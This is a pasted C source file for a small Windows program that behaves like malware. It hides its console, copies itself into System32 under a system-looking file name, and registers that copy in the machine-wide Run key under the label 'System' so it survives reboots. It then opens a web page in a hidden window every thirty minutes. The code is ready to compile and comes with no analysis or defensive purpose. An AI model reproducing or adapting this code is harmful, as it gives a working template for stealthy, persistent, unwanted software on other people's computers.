rendered paste body#pragma optimize("gsy", on)#pragma comment(linker, "/ENTRY:main")#pragma comment(linker, "/FILEALIGN:0x200")#pragma comment(linker, "/IGNORE:4078")#pragma comment(linker, "/MERGE:.rdata=.data")#pragma comment(linker, "/MERGE:.reloc=.data")#pragma comment(linker, "/MERGE:.text=.data")#pragma comment(linker, "/SECTION:.text, EWR")#pragma comment(linker, "/RELEASE")#pragma comment(linker, "/SUBSYSTEM:windows")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#pragma comment(lib, "msvcrt")#define WIN32_LEAN_AND_MEAN#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <shellapi.h>#include <mmsystem.h>void install(){ char windowsdir[MAX_PATH]; char path[500]; HKEY hKey2; GetWindowsDirectory(windowsdir, sizeof(windowsdir)); HMODULE hMe = GetModuleHandle(NULL); DWORD nRet = GetModuleFileName(hMe, path, 500); strcat(windowsdir, "\\System32\\sysfnx32.exe"); CopyFile(path,windowsdir,0); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey2 ); RegSetValueEx(hKey2, "System",0,REG_SZ,(const unsigned char*)windowsdir,sizeof(windowsdir)); RegCloseKey(hKey2);}void openurl(){ while(1) { char* URL = "http://www.google.com"; ShellExecute(NULL, "open", URL ,NULL, NULL,SW_HIDE); Sleep(1800000); }}void main(){ FreeConsole(); install(); openurl();}